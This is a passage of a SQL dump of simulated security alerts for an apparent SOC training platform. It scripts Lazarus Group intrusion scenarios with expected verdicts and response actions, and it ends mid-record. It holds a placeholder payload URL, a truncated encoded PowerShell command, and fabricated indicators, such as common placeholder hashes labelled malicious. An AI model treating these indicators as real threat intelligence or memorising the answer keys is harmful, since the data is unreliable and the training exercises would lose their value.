(1471, 'Initial Access via Phishing Campaign', 'high', 'Email Security Gateway', 'Hidden Cobra initiates their campaign with a wave of spear-phishing emails, targeting employees within the entertainment sector, aiming to gain a foothold in the network.', 'Social Engineering', 'T1566 - Phishing', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"source_email\":\"malicious_sender@compromised-domain.com\",\"destination_email\":\"employee@entertainmentcorp.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.pdf\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"malicious_url\":\"http://malicious-download.com/payload.exe\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Hidden Cobra activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"malicious_sender@compromised-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash known for delivering malware.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-download.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL hosting known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Campaign\",\"date\":\"2026-03-15T20:58:14.812Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1472, 'Execution of Destover Wiper', 'high', 'Endpoint Detection and Response (EDR)', 'Once inside the network, Hidden Cobra deploys a modified variant of the Destover wiper, aiming to destroy data and disrupt services within critical infrastructure. This alert was triggered following the execution of the Destover payload on a compromised host.', 'Malware Deployment', 'T1485: Data Destruction', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"123456\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"user\":\"compromised_user\",\"process_name\":\"destover.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"detected_action\":\"File execution\",\"host\":\"critical-infra-host\",\"severity\":\"high\",\"event_description\":\"Execution of known wiper malware variant on critical host\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Hidden Cobra operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical infrastructure host\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account used during malware execution\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destover.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with Destover wiper\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Destover malware variant\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1473, 'Establishing Persistence through Backdoors', 'high', 'Network Traffic Analysis', 'Anomalous traffic indicative of backdoor installation by Lazarus Group was detected. External communication with a known malicious IP and suspicious file transfer suggest an attempt to establish persistent access to compromised systems.', 'Backdoor Installation', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"filename\":\"sysupdate.dll\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"user\":\"compromised_user\",\"action\":\"file_transfer\",\"direction\":\"outbound\",\"alert\":\"Suspicious Backdoor Installation Attempt\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sysupdate.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File used by Lazarus Group for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known backdoor used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1474, 'Lateral Movement in Financial Systems', 'high', 'Internal Network Logs', 'Hidden Cobra extends its reach, moving laterally across the network, seeking to map out and understand the layout of Turkish financial systems for potential future exploitation.', 'Network Propagation', 'T1570: Lateral Movement', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"LM-202310151432\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"10.0.2.15\",\"attacker_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"fin_map_tool.exe\",\"event_type\":\"file_transfer\",\"action\":\"succeeded\",\"protocol\":\"SMB\",\"description\":\"Malicious tool transferred for lateral movement in financial systems\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP targeted by attacker for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Hidden Cobra operations\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash associated with financial system mapping malware linked to Hidden Cobra\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"fin_map_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"File used for network mapping in financial systems\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised for lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1475, 'Data Exfiltration and Reconnaissance', 'high', 'Data Loss Prevention (DLP)', 'The final stage of the operation involves exfiltrating sensitive data, including financial transaction details, to support intelligence and financial theft objectives. Detected data exfiltration activity from an internal network to an external IP address associated with known Lazarus Group operations.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.20.30.40\",\"destination_ip\":\"203.0.113.45\",\"filename\":\"financial_transactions_2023.csv\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"j.doe\",\"action\":\"exfiltration_attempt\",\"protocol\":\"HTTPS\",\"bytes_sent\":1048576,\"detection_method\":\"DLP\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"File hash linked to data exfiltration malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP address.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_transactions_2023.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Audit Logs\",\"verdict\":\"malicious\",\"details\":\"Sensitive financial data targeted for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1476, 'Initial Access Through Spear Phishing', 'high', 'Email Gateway Logs', 'The Lazarus Group initiated an initial access attempt through spear-phishing emails targeting employees in the defense sector. The emails contained job recruitment lures designed to entice the recipient into opening a malicious attachment that deploys the Rising Sun implant.', 'Spear Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:11Z\",\"email_id\":\"c3f8a1b002d45@example.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"sender_email\":\"recruitment@fakejobs.com\",\"recipient_email\":\"jane.doe@defenseco.com\",\"subject\":\"Exciting Job Opportunity in Defense\",\"attachment\":{\"filename\":\"JobOffer.docx\",\"hash\":\"3e5f7e1b7e2b6c8a9e8f7d6b5c3a4f2e\"},\"malicious_indicator\":true}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"recruitment@fakejobs.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3e5f7e1b7e2b6c8a9e8f7d6b5c3a4f2e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rising Sun implant.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access Through Spear Phishing\",\"date\":\"2026-03-15T20:58:14.860Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1477, 'Execution of Rising Sun Implant', 'high', 'Endpoint Detection and Response (EDR) Logs', 'The Rising Sun implant was executed on a compromised system, providing remote access to the attackers. This is a critical step in the advanced persistent threat operation, likely preparing for data exfiltration or further exploitation.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"evt-20231012-1024\",\"source_ip\":\"45.83.123.123\",\"destination_ip\":\"192.168.1.101\",\"user\":\"compromised_user\",\"process_name\":\"rising_sun.exe\",\"process_hash\":\"3a5f2c7d8c1f4e6d9f8b2e3c4d5f6a7b\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\rising_sun.exe\",\"command_line\":\"rising_sun.exe -silent\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":4321,\"action\":\"Execution\",\"status\":\"Success\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.83.123.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"rising_sun.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Executable related to Rising Sun implant\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a5f2c7d8c1f4e6d9f8b2e3c4d5f6a7b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rising Sun malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1478, 'Establishing Persistence - Advanced Threat Actor Activity Detected', 'high', 'Windows Event Logs', 'Suspicious persistence mechanism detected potentially linked to Lazarus Group. The attacker has implemented a Windows service to maintain access through system reboots and user logouts.', 'Persistence Mechanism', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"event_id\":7045,\"timestamp\":\"2023-10-15T02:14:07Z\",\"computer_name\":\"compromised_host01\",\"user\":\"NT AUTHORITY\\\\SYSTEM\",\"service_name\":\"UpdateService\",\"service_file_name\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\msupdate.exe\",\"service_type\":\"Own Process\",\"start_type\":\"Auto Start\",\"ip_address\":\"10.0.0.45\",\"external_ip\":\"203.0.113.45\",\"sha256\":\"d41d8cd98f00b204e9800998ecf8427e\",\"description\":\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\",\"tags\":[\"Lazarus Group\",\"Persistence\",\"APT\"]}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous Lazarus Group activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious software used by Lazarus Group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:57:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:56:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT 